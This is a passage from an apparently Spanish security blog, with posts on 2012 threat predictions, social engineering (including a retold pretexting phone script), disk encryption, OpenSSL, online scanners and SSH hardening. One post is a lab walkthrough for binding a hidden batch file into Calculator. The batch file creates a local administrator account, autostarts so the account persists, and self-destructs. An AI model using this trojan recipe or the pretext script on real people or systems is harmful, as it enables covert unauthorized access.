ZonaSec

Nuevo ataque de Anonymous

2012-01-22T21:11:00.000+01:00

Tal y como publican en la cuenta de twitter de @AnonymousAction, la página web de la Asociación de Directores de Escena de España ha sido atacada (ir a la web). Esta se suma a la larga lista de webs atacadas en los últimos días, y que parece que no ha hecho más que empezar.
A continuación, algunas capturas de pantalla:

Predicciones de seguridad para el 2012

2011-12-28T19:57:00.001+01:00

Trend Micro acaba de publicar sus predicciones en materia de seguridad para 2012, tal y como han hecho otros años. En esta edición la han dividido en 4 categorías principales:

• Tendencias de IT
• Plataformas móviles
• Amenazas
• Fugas de datos

Tendencias de IT
1. En el 2012, se les obligará a las empresas a afrontar los retos relacionados con BYOD (bring your own device). Más y más datos de las empresas se almacenan o son accedidos por dispositivos que no están completamente controlados por los administradores de IT, por lo que la probabilidad de incidentes relacionados con la pérdida de datos, atribuibles a la utilización de forma incorrecta de estos dispositivos personales, se incrementará. Volveremos a ver incidentes de este tipo en 2012.

2. El verdadero desafío para los administradores de centros de datos será tener que lidiar con la creciente complejidad de asegurar los sistemas físicos y virtuales alojados en la nube.
Los atacantes podrán recurrir a ataques convencionales, porque seguirán siendo eficaces en estos nuevos ambientes. Plataformas virtuales y en la nube son faciles de atacar, pero difíciles de proteger. Por lo tanto la carga recaerá en los administradores de IT que tienen que proteger los datos críticos de su empresa a medida que adoptan estas tecnologías. Parchear una amplia red de servidores virtualizados es un reto, permitiendo a los hackers secuestrar servidores, tráfico, y robar datos de los sistemas vulnerables.

Plataformas móviles
3. Smartphones y tablets, especialmente Android, van a sufrir más ataques de los cibercriminales.
Como el uso de smartphones sigue creciendo en todo el mundo, las plataformas móviles se convertirán en objetivos más tentadores. El sistema operativo Android, en particular, se ha convertido en blanco de ataques debido a su modelo de distribución de aplicaciones, lo que lo hace completamente abierto a todas las partes. Creemos que esta tendencia continuará en 2012, aunque otras plataformas también están bajo fuego.

4. Las vulnerabilidades de seguridad se encuentran en aplicaciones móviles aparentemente legítimas, por lo que extraer los datos es más fácil para los cibercriminales.
Hasta la fecha, las amenazas de plataformas móviles se presentan en forma de aplicaciones maliciosas. En el futuro, esperamos que los ciberdelincuentes irán tras las aplicaciones legítimas. Es probable que ya se encuentren vulnerabilidades o errores de codificación que pueden conducir al robo de datos del usuario. Muy pocos desarrolladores de aplicaciones tienen un manejo de la vulnerabilidad y del proceso de reparación, lo que significa que la exposición de estos fallos puede ser más grande.

Amenazas
5. A pesar de que las botnets se hacen más pequeñas, crecerán en número, por lo que hacer cumplir la ley será más difícil de realizar.
Botnets, herramienta de delitos informáticos tradicionales, va a evolucionar en respuesta a las acciones tomadas por la industria de la seguridad. Estos pueden ser sustituidos por otros, botnets más pequeñas pero más manejables. Pequeñas botnets reducen los riesgos para los cibercriminales, asegurando que la pérdida de una sola botnet no será tan grave como antes.

6. Los hackers se centrarán en objetivos no tradicionales, que van desde SCADA a maquinaria industrial pesada.
Ataques contra el control de supervisión y sistemas de datos (SCADA), así como otros equipos accesibles a través de las redes, se intensificarán en 2012, e irán más allá de robar dinero y datos valiosos. Stuxnet y otras amenazas en 2011 pusieron de relieve que SCADA se ha convertido en un claro objetivo.

7. Los cibercriminales encuentran formas más creativas de ocultarse de las autoridades.
Cada día tratan de aprovechar más el abuso de fuentes de ingresos on-line, tales como la publicidad. Esto les ayudará a esconderse de la policía y los organismos de control antifraude, contratados por los bancos y otras entidades financieras.

Fugas de datos
8. Los grupos de hackers se plantean como una mayor amenaza para las organizaciones que protegen los datos sensibles.
Estos grupos, tales como Anonymous y LulzSec, centran sus ataques a empresas y particulares por diversas razones políticas. Pueden llegar a estar aún más motivados en el año 2012. Las organizaciones tendrán que hacer frente a esta nueva amenaza y aumentar sus esfuerzos para proteger información vital de la empresa.

9. La nueva generación de redes sociales va a redefinir la "privacidad".
La información confidencial del usuario está en Internet gracias, en gran parte, a los propios usuarios. La nueva generación de jóvenes usuarios de redes sociales tienen una actitud diferente hacia la protección y el intercambio de información. Son más propensos a revelar datos personales a terceros. También toman pocas medidas para mantener esa información reservada a grupos específicos, como sus amigos. En pocos años, las personas conscientes de la privacidad se convertirán en una minoría, lo cual es una perspectiva ideal para los atacantes.

10. Como la ingeniería social se convertirá en la corriente principal, las pymes se convertirá en un blanco fácil.
Hasta la fecha, los más astutos trucos de ingeniería social se han dirigido contra las grandes empresas. Sin embargo, los cibercriminales son tan expertos en ingeniería social que el propósito de abordar las empresas de forma individual, grandes o pequeñas, cada vez es menos costoso. Esta línea y el mayor volumen de información personal disponible permitirá a los ciberdelincuentes lanzar ataques más personalizados y ajustados contra las empresas pequeñas y medianas. Pero seguirán centrándose en el acceso a cuentas bancarias de las empresas.

11. Uso de herramientas sofisticadas para lograr sus propios fines.
Los ataques dirigidos seguirán creciendo en 2012. Sin embargo, los criminales cibernéticos no serán los únicos que utilizan estos ataques. La eficacia de las amenazas avanzadas se hace más evidente, por lo que las empresas y gobiernos se encontrarán con herramientas y tácticas similares en los delitos informáticos para alcanzar sus objetivos.

12. Incidentes de pérdida de datos de perfil alto a través de una infección de malware y hackers en 2012.
Los ataques de perfil alto siguen cayendo sobre las principales organizaciones en 2012. Datos importantes de la empresa serán extraídos a través de una infección de malware y hackers. Producirá una importante pérdida de datos, afectando potencialmente a miles de usuarios y su información personal. Estos incidentes pueden dar lugar a importantes pérdidas directas e indirectas a las partes interesadas.

Podéis encontrar más información en el blog oficial de Trend Micro, aquí.

Ingeniería Social, qué es y cómo evitarla

2011-12-17T12:58:00.000+01:00

La ingeniería social es el método por el que se obtiene información confidencial a través de la manipulación de usuarios legítimos. Es una técnica usada para obtener información, acceso o privilegios a sistemas informáticos que les permitan realizar algún acto que perjudique o exponga la persona u organismo.

El principio en el que se basa la ingeniería social es que en cualquier sistema los usuarios son el eslabón más débil. Llevado a la práctica, un hacker usará el teléfono o Internet para engañar a la gente, fingiendo ser, por ejemplo, un empleado de un banco u otra empresa, un compañero de trabajo, un técnico o un cliente. A través de Internet o correo electrónico se usa, por ejemplo, el envío de solicitudes de renovación de permisos de acceso a páginas web o incluso las famosas cadenas de mails. Con este método, se aprovecha la tendencia natural de la gente a reaccionar de manera predecible en ciertas situaciones, (por ejemplo proporcionando detalles financieros a un aparente mail de nuestro banco), en lugar de tener que encontrar agujeros de seguridad en una red informática.

En la ingeniería social, el ataque más simple y efectivo es engañar a un usuario haciéndole creer que un administrador del sistema esta solicitando su contraseña para algún propósito aparentemente legítimo. Otro método es en el que los usuarios reciben mensajes que solicitan contraseñas o información del banco o la tarjeta de crédito, con la excusa de crear o restablecer una cuenta. A este tipo de ataques se los llama phishing.

Otro ejemplo más moderno de un ataque de ingeniería social es el uso de archivos adjuntos en e-mails, ofreciendo fotos íntimas de alguna persona famosa o algún programa gratis, pero que en realidad ejecutan código malicioso infectando así el ordenador de la víctima. Después de que los primeros e-mails de este tipo llevaran a los proveedores de correo electrónico a deshabilitar la ejecución automática de archivos adjuntos, los usuarios deben abrir esos archivos para que el ataque se complete. Sin embargo, la mayoría de los usuarios abren casi cualquier archivo adjunto recibido, sin que les importe lo más mínimo de dónde provenga.

COMO EVITARLO:

Los usuarios de una red, especialmente en una empresa, deberían ser advertidos para que no divulguen contraseñas u otra información sensible por teléfono o email. En realidad, un administrador de sistemas nunca necesitará saber la contraseña de los usuarios para realizar sus tareas, y en caso de que la necesite, será el propio usuario el que la introduzca. Sin embargo, no sólo por mail o por teléfono puede venir el ataque, ya que, por ejemplo, en un estudio realizado por la empresa Boixnet, el 90% de los empleados de la estación Waterloo de Londres reveló sus contraseñas a cambio de un bolígrafo barato.

La ingeniería social también se aplica al acto de manipulación cara a cara para obtener acceso a los sistemas informáticos. Otro ejemplo es el conocimiento sobre la víctima, a través de la introducción de contraseñas habituales o típicas, o conociendo su lugar o fecha de nacimiento, nombre, etc. Es por esto por lo que se debe advertir a los usuarios de que no usen contraseñas con estos datos.

Simplemente respondiendo a la pregunta ¿qué contraseña introduciría yo si fuese la víctima?, hay grandes posibilidades de averiguarla, conociendo alguno de los datos anteriormente explicados.

La principal defensa contra la ingeniería social es educar y concienciar a los usuarios en el uso de políticas de seguridad y asegurarse de que estas sean seguidas. Otras medidas son:

Políticas internas que contemplen la descentralización de datos y el resguardo de la información.
Buen uso de los recursos de comunicación e informáticos por parte de todos los empleados.

Uno de los ingenieros sociales más famosos es Kevin Mitnick. Según él, la ingeniería social se basa en 4 principios:

Todos queremos ayudar.
El primer movimiento es siempre de confianza hacia el otro.
No nos gusta decir No.
A todos nos gusta que nos alaben.

También ha escrito un libro, The Art of Deception, en el que describe con detalles todas las técnicas de la ingeniería social. Los casos explicados en el libro son reales, pero los nombres de personas y empresas han sido modificados. Uno de estos ejemplos sería:

Llamada 1

Recepcionista: XYZ Corp, buenos días, ¿en qué puedo ayudarle?

Hacker: Hola, somos una agencia de prensa y querríamos enviar una carpeta con información corporativa a su director de marketing, para que la evaluara ¿podría decirme su nombre y dirección?

R: Si, puede enviarlas a Mark Ethin, a la dirección (...)

H: ¿Por casualidad no tendrán ustedes a alguien más de marketing en otra sucursal?

R: Si, también está Peter Webber en la sucursal de (...)

H: ¿Y el número de fax de la central, para ponerlo en mi ficha de contactos?

R: El 212-555-1234

H: Gracias por la información, me ha resultado de mucha ayuda.

Llamada 2
R: Sucursal XYZ Corp, ¿dígame?
H: Hola, querría hablar con Peter Webber de Marketing, te llamo desde la oficina de Mark Ethin en la central.
R: Te paso.
Peter: Sí, ¿dígame?
H: Hola Peter, a ver si puedes ayudarme. Me llamo Hank y soy nuevo en la empresa. Trabajo en Marketing con Mark Ethin en la oficina central desde hace unos días. Mark está fuera de la oficina y me ha encargado conseguirle una copia impresa del último plan de marketing. Pero al parecer hay algún problema con mi PC porque no han terminado de instalarlo bien y no puedo acceder a la intranet. He pensado que tal vez tu lo tengas. Corre un poco de prisa, la verdad, y ya sabes que en arreglar los PCs tardan una barbaridad aquí.
P: Sí, bueno... tengo la copia que nos envió el otro día.
H: De acuerdo, entonces, ¿podrías mandárnosla a la central? No se si mi email funcionará... Lo más práctico sería que nos lo enviaras por fax a recepción, ya sabes, al 212-555-1234.
P: De acuerdo, al número de siempre. Va para allá.
H: Recuerda ponerlo a mi nombre, Hank Kerson. Yo se lo haré llegar a Mark. ¡Gracias!

Llamada 3 (horas después)
Recepcionista: XYZ Corp, buenos días, ¿en qué puedo ayudarle?
H: Hola, me llamo Hank Kerson, a ver si puedes echarme una mano... Trabajo en una consultora externa para el departamento de Marketing, y estamos terminando un proyecto con cierta urgencia. Peter Webber de vuestra otra sucursal tenía que haberme enviado hace unas horas un fax con cierta información, pero no me ha llegado. He preguntado allí y al parecer alguien se equivocó de número y lo ha enviado al fax de vuestra oficina principal, aunque el fax está a mi nombre.
R: Sí, lo tengo por aquí, pone «Hank Kerson», me extrañó al recibirlo porque aquí no trabaja nadie con ese nombre.
H: Ah, perfecto, es el mío. Debe tener ciertos datos de marketing, ¿verdad?
R: Sí, pone algo de «plan de marketing»
R: Ese es... Entonces, ¿no te importaría reenviarmelo al 212-555-9876?
R: No hay problema, va para allá, lo tendrás en cinco minutos.
H: ¡Gracias! Enviaré un correo a Peter para decirle que todo está solucionado.

Finalmente, Hank se dirige a la copistería más cercana y recoge allí el fax con el plan de marketing de la compañía XYZ.

Crear un disco duro encriptado, o proteger uno ya existente

2011-12-11T21:26:00.000+01:00

En esta entrada vamos a explicar 2 sencillas maneras de crear un disco duro encriptado, y así tener todos nuestros datos seguros. La primera la realizaremos con el programa PGP (se puede descargar desde aquí). Y la segunda con BitLocker.

PGP

PGP (Pretty Good Privacy) fue diseñado y desarrollado por Phil Zimmermann en 1991. En la actualidad pertenece a Symantec, por lo que si no queremos pagar por él, tendremos que conformarnos con utilizar alguna versión más antigua, cómo haremos en éste caso.

PGP combina la criptografía simétrica y la criptografía asimétrica, creando un criptosistema híbrido. Cuando un usuario emplea PGP para cifrar un texto plano, dicho texto es comprimido. Después crea una clave de sesión secreta que solo se empleará una vez. Esta clave es un número aleatorio generado a partir de los movimientos del ratón y las teclas que se pulsen durante unos segundos con el propósito específico de generar esta clave (el programa pedirá que se realice esto al iniciar el programa por primera vez). Una vez que los datos se encuentran cifrados, la clave de sesión se cifra con la clave pública del receptor, y una vez cifrada se adjunta al texto cifrado y el conjunto es enviado al receptor. El descifrado sigue el proceso inverso. (Wikipedia)

Importante durante la instalación:

Recordar el nombre y compañía indicados, ya que nos los volverá a pedir al iniciar el programa.

En la pantalla en la que nos indica los componentes a instalar, verificar que el elemento PGPdisk for Windows está marcado.

Tras finalizar la instalación, nos preguntará que si tenemos claves ya creadas y si las queremos utilizar. Si las tenemos pulsar Sí, y sino pulsar No.

Una vez instalado PGP y reinicado el equipo, vamos al directorio de instalación y abrimos PGPdisk. Nos pedirá el nombre y la compañía. Escribimos lo mismo que indicamos en la instalación y pulsamos OK. La ventana principal de PGPdisk tiene 4 apartados:

New: para crear nuevas unidades encriptadas.

Mount: para montar las unidades.

Unmount: para desmontar las unidades.

Prefs: desmontar la unidad automáticamente tras un periodo indicado de inactividad o una especificar una combinación de teclas para desmontar.

La opción que nos interesa ahora es New, ya que lo primero que haremos será crear una unidad nueva. La pulsamos y se inicia un asistente. Lo primero que nos pide es un nombre y una ubicación para el fichero en el que se guardará el disco duro. Lo indicamos y pulsamos Aceptar. El siguiente paso es para especificar el tamaño del disco y su letra de unidad. Tras esto, nos pide que escribamos una passphrase, que es como una palabra clave para encriptar la clave privada. Debe tener 8 caracteres mínimo y contener algún carácter alfanumérico. Tras pulsar Aceptar, llegamos al paso en el que se generará la clave de sesión secreta, que comentamos anteriormente. Para que se cree, debemos pulsar teclas del teclado o realizar movimientos con el ratón, aunque no es importante recordar lo que se ha pulsado ni los movimientos hechos. Pulsamos Siguiente y se empezará a crear la unidad.

Para acabar, debemos formatear la unidad. Automáticamente, tras finalizar la instalación, aparecerá una ventana para darle formato. Pulsamos Iniciar y esperamos a que se realice. Es importante que el formato que se de sea el que le corresponde a la unidad, ya que sino dará un error el programa.

Tras esto, ya estará nuestra unidad creada. Vamos al explorador de Windows y comprobamos que nos aparece. En caso de que no nos aparezca, tendremos que desmontar la unidad y volverla a montar. Esto se puede hacer desde el archivo que creamos al hacer la unidad (botón derecho, PGPdisk> Unmount), o desde el propio programa.

Y con esto ya tendremos creado un disco duro, protegido con la seguridad que nos ofrece PGP.

Bitlocker

BitLocker Drive Encryption es una característica de cifrado de disco, y viene incluido en las versiones Ultimate y Enterprise de Windows Vista y 7, además de Windows Server 2008. Utiliza el algoritmo de cifrado AES con una clave de 128 bits.

Su utilización es sencilla. Vale con hacer clic con el botón derecho encima de la unidad a proteger (también se puede realizar en disco duros externos y unidades extraíbles) y seleccionar Activar BitLocker. Se iniciará un asistente en el que elegiremos el método de desbloqueo. Podemos elegir Usar una contraseña, o utilizar una tarjeta inteligente.

La utilización de la tarjeta nos ofrece más seguridad, aunque también es cierto que es un método más usado en entornos de trabajo y grandes compañías, ya que se requiere además de un lector de tarjetas en el equipo para poder leerla. Pero si optamos por la contraseña, ésta debe ser fuerte, ya que la aplicación indicará que es obligatorio que cumpla unos requisitos mínimos de seguridad.

Una vez elegido el método de desbloqueo, podemos guardar la clave de recuperación en un archivo e imprimirla. Esto es útil ya que, en caso de olvidar la contraseña puesta en el paso anterior o perder la tarjeta, se podrá utilizar esta clave de recuperación para desbloquear el disco. Una vez guardado el archivo, podemos proceder a cifrar la unidad. Dependiendo del tamaño de la unidad, el tiempo de cifrado variará.

Tras terminar este proceso, nuestra unidad ya estará correctamente cifrada y protegida.

SSL, qué es y cómo funciona

2011-12-09T12:51:00.000+01:00

El protocolo SSL (Secure Sockets Layer), desarrollado por Netscape, permite establecer conexiones seguras a través de Internet. Su trabajo consiste, básicamente, en codificar los mensajes antes de enviarlos por la red. Una vez establecida la comunicación, cuando una aplicación quiere enviar información a otro equipo, el protocolo SSL la recoge y la codifica, e inmediatamente después enviarla a su destino. Una vez que la información llega al destinatario, el módulo SSL del otro ordenador se encarga de decodificar los mensajes y mostrarlos como texto legible en la aplicación destinataria.

Una de las principales ventajas de SSL es que libera a las aplicaciones de llevar a cabo las operaciones criptográficas antes de enviar la información, y apenas hay que modificar los programas ya existentes para que lo utilicen. Desde hace tiempo los principales navegadores de Internet incorporan un módulo SSL, que se activa de forma totalmente automática (por ejemplo, al entrar en direcciones web que empiezan por https).

OpenSSL

El proyecto OpenSSL consiste en un conjunto de herramientas open source que implementan los protocolos de seguridad SSL y TLS (Transport Layer Security). Está basado en las librerías SSLeay desarrolladas por Eric A. Young y Tim J. Hudson

El paquete OpenSSL contiene, principalmente, las librerías crypto y ssl y la aplicación openssl.

La librería crypto implementa muchos de los algoritmos criptográficos usados en varias aplicaciones (como OpenSSH o OpenPGP).

La librería ssl, implementa los protocolos SSL, en sus versiones 2 y 3, y el protocolo TLS, en su versión 1.

El programa openssl es una línea de comandos que permite la utilización de las funciones criptográficas de que dispone la librería crypto. Esta aplicación puede utilizarse para:

Crear claves RSA, DH y DSA.

Crear certificados X.509, CSR y CRL.

Encriptación y desencriptación.

Comprobación de clientes y servidores SSL/TLS.

Correo encriptado.

Utilización de OpenSSL

Algunos de los parámetros de la aplicación openssl son:

asnlparse: utilidad de diagnóstico que analiza estructuras ASN.1.

ca: para gestionar una Autoridad Certificadora, permitiendo la firma de certificados y generación de listas de revocación.

ciphers: gestiona los distintos métodos de cifrado disponibles.

dhparam: gestiona los parámetros Diffie-Hellman

dgst: crea firmas digitales a partir de ficheros, además de su verificación mediante distintos algoritmos como MD5 o SHA.

dsa: procesa claves DSA. Permite acciones como conversión de formato, la extracción de la clave pública o la encriptación de claves.

dsaparam: utilizado para generar y manipular los parámetros DSA.

enc: permite la encriptación y desencriptación mediante mecanismos de clave simétrica.

errstr: traduce números de error en mensajes de error.

gendsa: genera una clave privada DSA a partir de un fichero DSA.

genrsa: genera claves privadas RSA.

ocsp: implementa el Online Certificate Status Protocol.

passwd: calcula el valor hash de las contraseñas especificadas.

pkcs12: permite el análisis y creación de ficheros PKCS#12 (estándar sintáctico para el intercambio de información personal).

pkcs7: procesa ficheros PKCS#7.

req: utilidad de petición, generación y verificación de certificados PKCS#10 (estándar de sintaxis de petición de certificados).

rsa: procesa claves RSA.

rsautl: utilizado para la firma, encriptación, desencriptación y verificación de datos mediante el algoritmo RSA.

s_client: implementa un cliente SSL/TLS capaz de conectarse a una máquina remota. Útil para tareas de verificación y diagnóstico de servidores SSL.

s_server: implementa la funcionalidad de un servidor SSL/TLS para comprobar conexiones SSL.

s_time: programa de comprobación de rendimiento SSL/TLS.

sess_id: permite analizar los detalles de la sesión.

speed: comando para comprobar el rendimiento de los algoritmos criptográficos.

verify: utilidad para la verificación de cadenas de certificados.

version: muestra la versión de openSSL.

Ejemplos prácticos

Para entender mejor los comandos y parámetros anteriores, vamos a realizar algunos ejemplos viendo cómo se utilizan y para qué.

Para generar una clave con el algoritmo RSA se utiliza el comando genrsa, indicando el fichero de salida y tamaño de la clave. Ejecutamos lo siguiente:

openssl genrsa –out clave_privada 2048

La petición de certificados se realiza mediante el comando req, por medio de una clave, que pudo haber sido creada antes o crearse automáticamente, y genera un fichero de solicitud de certificados en el formato PKCS#10. Se ejecutaría:

openssl req –new –newkey clave_privada –out certificado.csr

Así obtenemos una solicitud (certificado.csr) que deberemos enviar a una Autoridad Certificadora para que la valide.

Mediante la firma del certificado la Autoridad Certificadora da validez a nuestro certificado dotándolo de un periodo de validez e incluyendo sus propias credenciales. Para ello ejecutamos:

openssl ca –policy policy_anything –out certificado.crt –infiles certificado.csr

También podemos hacer que el propio generador del certificado sea quien lo firma sin necesidad de ninguna Autoridad Certificadora. Esto consiste en firmar la solicitud del certificado con la misma clave que fue empleada para generar la solicitud. Se puede utilizar, por ejemplo, para generar certificados de prueba, ya que no tendrán ninguna validez de cara a entidades reales.

Y se utilizaría el comando:

openssl req –new –x509 –days 365 –key fichero_clave –out certificado.crt

Con el parámetro –x509 generaremos un certificado almacenado en el fichero certificado.crt con validez de un año, 365 días, utilizando como clave el archivo fichero_clave.

Herramientas online de seguridad

2011-12-07T13:21:00.023+01:00

Muchas veces, cuando una compañía o un programador sacan una nueva aplicación al mercado, también ofrecen una versión online de esa herramienta. Suele ser algo limitada con respecto a la otra versión, pero no por ello resulta poco útil o nada interesante, ya que te ahorran el trabajo de tener que descargar o instalar el programa entero, con la consiguiente pérdida de tiempo.

Por eso, en ZonaSec queremos hacer una recopilación de varias de esas webs (algunas sólo tienen versión online). A los que nos seguís habitualmente os sonarán algunas de las siguientes páginas, ya que han podido ser utilizadas en entradas anteriores. Empezamos:

Adslayuda (geolocalización): con esta utilidad podremos, simplemente con introducir una IP, saber dónde está localizada geográficamente. Te informará de la ciudad y país, entre otros, e incluso del ISP. Ir a la web.

Secunia online: nos sirve para realizar un análisis de las aplicaciones instaladas en nuestro equipo y nos informará de cuáles están actualizadas y cuáles no. Ya hicimos un análisis aquí de su versión instalable. Ir a la web.

FOCA online: de la mano de Informática64, tenemos la versión online de la famosa FOCA, con la que podremos hacer un análisis de metadatos en los ficheros ofimáticos. Nos podrá mostrar información como el programa con el que se ha hecho, fechas de creación, modificación e incluso impresión, sistema operativo o tiempo de edición, entre otras cosas. Ir a la web.

Browserspy.dk: otra web de la que hablamos aquí. Nos permite ver qué información puede averiguar de nosotros o nuestro equipo un navegador web. Muy interesante para ver hasta qué punto estamos expuestos. Ir a la web.

VirusTotal: desarrollado por Hispasec Sistemas. Examina archivos y URL’s sospechosas y que pueden contener virus, troyanos, etc, y 43 antivirus lo analizarán. Ir a la web.

F-Secure Online Scanner: la mayoría de los antivirus nos permiten realizar un análisis online de nuestro equipo, pero para realizar este análisis nosotros hemos optado por F-Secure Online Scanner, ya que permite realizar varios tipos de análisis, como análisis rápido, completo o personalizado, en el que podemos elegir que buscará y dónde. Al terminar, nos mostrará un completo informe de los archivos analizados y también nos da la posibilidad de limpiar los virus o los archivos infectados. Ir a la web.

ShieldsUp!: interesante web en la que podremos hacer varios tipos de análisis. Una vez hayamos entrado en la URL situada más abajo, pulsamos en el botón Proceed (situado en la parte central de la página) y veremos los análisis que podemos realizar. Archivos compartidos, puertos, probar nuestro sistema antispam, etc. Ir a la web.

Eset Online Scanner: (gracias a Jose Luis Gonzalez) herramienta potente y fácil de usar, detecta y elimina malware de nuestro PC. Destaca por estar siempre actualizado, soportar casi todos los navegadores y permitir poner en cuarentena los ficheros infectados. Utiliza la base de firmas del antivirus NOD32. Ir a la web.

Bitdefender Quikscan: (gracias a Jose Luis Gonzalez) herramienta gratuita que nos permite analizar nuestro equipo en busca de virus y spyware en menos de un minuto. Esto es posible ya que solo busca virus o malware que se encuentra activo en la memoria o en los archivos del sistema. Si los archivos infectados se encuentran inactivos, no buscará en ellos y por lo tanto no lo detecta. El proceso de detección se realiza desde los servidores de Bitdefender. Ir a la web.

Esta es sólo una pequeña muestra de webs con estas herramientas online. Si conocéis alguna que no se encuentra en esta lista, no dudéis en indicarla en los comentarios, y la añadiremos aquí.

Unir 2 archivos ejecutables en uno solo con RedBinder (IV de IV)

2011-12-05T17:33:00.000+01:00

Siguiendo con la serie de entradas en las que hablábamos sobre la forma de unir 2 o más archivos, y que se ejecutasen de forma oculta (links al resto de entradas: primera, segunda y tercera), publicamos ahora la cuarta y última de la serie.

En esta ocasión, vamos a utilizar un programa que automáticamente nos va a realizar esta función, la de ocultar un programa dentro de otro. Hay multitud de aplicaciones para realizar esta tarea, como por ejemplo AFX Binder, File Injector, Hammer Binder o MicroJoiner. Para realizar esta práctica nosotros usaremos RedBinder (Windows).

No requiere instalación, por lo que para iniciar el programa basta con ejecutar el archivo EditorRedbindeR.exe. La aplicación tiene una interfaz sencilla, y su uso es muy intuitivo. Una vez iniciada la aplicación, hacemos clic con el botón derecho en la tabla principal. Nos aparecerá un menú desplegable:

Pulsamos en añadir ítem, se abrirá otra ventana con 4 pestañas (Fichero, Retraso, Registro y Comandos). En Fichero seleccionamos los archivos que se ejecutarán al abrirlo. También podemos darle otras opciones, como el campo "ruta de extracción" que hará que lo extraiga a un directorio especial (la carpeta Windows, por ejemplo) o marcando autoinicio se ejecutará cada vez que Windows se inicie. En la pestaña Retraso podemos especificar un tiempo o un número determinado de reinicios para que nuestro archivo se ejecute. En Registro podemos indicarle que modifique o añada alguna clave al registro. Y en Comandos, podemos darle unos parámetros que se le pasarán y el directorio dónde se ejecutará.

Buscamos y añadimos los 2 archivos ejecutables que hayamos elegido. Uno será el archivo que queremos esconder, y el otro el que el usuario vea que se ha ejecutado. Para esta práctica hemos creado un archivo bat que te crea un usuario y lo añade al grupo administradores (del equipo local, no del dominio):

net user usuario 1234 /add

net localgroup Administradores usuario /add

Hemos seleccionado además ruta de extracción y autoinicio, para que se vuelva a ejecutar cada vez que Windows se inicie, y así evitamos que, aunque borren nuestro usuario, tengamos que repetir todo. Recordar que este programa se ejecutará en oculto, por lo que hay que marcar esta opción.

También elegimos el archivo que el usuario crea que se va a ejecutar, la Calculadora, por ejemplo.Al contrario que el anterior, éste si se tiene que ejecutar de forma visible.

Una vez añadidos los 2 archivos, podremos configurar otras opciones del menú desplegable, como por ejemplo el icono del programa. Redbinder trae algunos que puedes utilizar, o si lo prefieres podrás buscarlo tú mismo.

Aparte de estas opciones, en el menú superior tenemos alguna otra. Si queremos encriptar los archivos, vamos a Opciones (en la parte superior) y hacemos clic sobre "encriptar archivos". Si está marcada, es que está seleccionada esa opción. También podemos hacer lo mismo sobre "Autodestruirse", y no quedará rastro de los archivos tras ejecutarse (pero sí quedará una copia si elegimos una ruta de extracción anteriormente). Nosotros marcamos estas 2 opciones.

En la ventana principal, tenemos un campo situado en la parte inferior, "Comprimir con UPX", que si lo marcamos, nos comprimirá el ejecutable para que ocupe lo mínimo. En concreto, el archivo creado puede llegar a ocupar hasta 5 veces menos.

Una vez hayamos configurado todo, estamos listos para crear nuestro archivo. Para ello, pulsamos en el botón Juntalo!, situado en la parte inferior derecha. Le damos un nombre y una ubicación donde se guardará, y en pocos segundos tendremos nuestro archivo creado.

Lo ejecutamos, y vemos cómo nos ha creado el usuario y lo ha unido al grupo Administradores. Lo comprobamos ejecutando el comando net user (para ver los usuarios) y net localgroup Administradores (para ver los usuarios del grupo Administradores).

Ahora vamos a la carpeta Windows y vemos que allí hay una copia del archivo .bat. Y por último, borramos el usuario creado, reiniciamos el equipo y comprobamos que el usuario se ha vuelto a crear.

Practicando con SSH

2011-12-03T12:39:00.002+01:00

En la anterior entrada vimos qué era y cómo funcionaban SSH, OpenSSH y sus aplicaciones, y en esta segunda parte vamos a practicar con él, que es lo que nos interesa. En estos ejemplos hemos utilizado Debian Squeeze.

Para instalar el servidor ejecutaremos:

apt-get install openssh-server

Tras la instalación, procederemos a configurarlo. Y esto lo haremos con el archivo sshd_config, que se encuentra en /etc/ssh.

Lo primero que haremos será habilitar la conexión a los usuarios que deseemos (deben existir en el equipo). Para ello, en cualquier lugar del archivo sshd_config se deberá añadir la línea:

AllowUsers usuario1 usuario2 (separados por espacio, todos los usuarios que se desee).

También modificaremos el puerto. Por defecto, está puesto el puerto 22. Buscamos la línea Port 22 y sustituimos por otro que deseemos y que esté libre (en nuestro caso el 4321).

Otra cosa que también es recomendable modificar es la línea PermitRootLogin. Aquí se le indica si queremos permitir que se pueda loguear con el usuario root. Por defecto aparece yes, pero lo cambiaremos a no, ya que si alguien se consigue conectar como root tendrá acceso total y con todos los permisos al servidor SSH.

Otra opción interesante es el número máximo de intentos que tendrá un usuario para conectarse. Esto se especificará desde la línea MaxAuthTries número. Si se sobrepasa el número de intentos especificado la sesión SSH se cortará. Podremos volver a conectarnos y reintentarlo, pero así estamos evitando ataques de fuerza bruta. En nuestro ejemplo escribiremos MaxAuthTries 3, ya que 3 es un número suficiente de intentos para haber ingresado bien la contraseña.

También escribiremos una línea para indicar el número máximo de usuarios conectados a la vez. Esto se hace con MaxStartups número, donde número indica el máximo de conexiones.

Una vez configurado el archivo sshd_config, guardamos los cambios, salimos y habrá que reiniciar el servicio SSH para que los cambios tengan efecto, para ello se ejecuta:

/etc/init.d/ssh restart

A partir de este momento, cualquiera de los usuarios que acabamos de incluir en la línea AllowUsers se puede validar en SSH. Por ejemplo, si tenemos un usuario pepe, y queremos trabajar con él, ejecutaremos:

ssh pepe@IP_servidor (donde IP_servidor es la IP del equipo en el que se ha instalado el servidor SSH, lógicamente)

Nos pedirá una contraseña, que es la del inicio de sesión del usuario. La introducimos y veremos cómo ha cambiado el prompt. Ahora nos indica con qué usuario estamos conectados. Y a partir de ese momento podremos trabajar en el host remoto como si fuésemos ese usuario, con sus permisos y todo igual.

Para utilizar una interfaz gráfica, vamos a "Lugares" y después “Conectar con el servidor”. Se nos abrirá una ventana que nos ofrece varios protocolos, elegimos SSH, elegimos también el puerto (nosotros lo configuramos con el 4321).

En el caso de Windows, deberás instalar algún software cliente para realizar esta conexión, por ejemplo puTTy.

Otros archivos de configuración de OpenSSH

Para permitir el acceso a tu equipo necesitas modificar el archivo /etc/hosts.allow. En él puedes modificar lo siguiente:

Todo el mundo puede conectarse:

sshd: ALL

Permitir el acceso sólo a la IP indicada:

sshd: 192.168.0.1

Permitir el acceso a un rango de IP’s:

sshd: 192.168.0.1/192.168.0.100

También se puede realizar estas operaciones pero con el efecto contrario, es decir, para denegar el acceso. Esto se hace desde el archivo /etc/hosts.deny. Y las líneas a escribir son iguales que en hosts.allow.

Generar llaves con OpenSSH

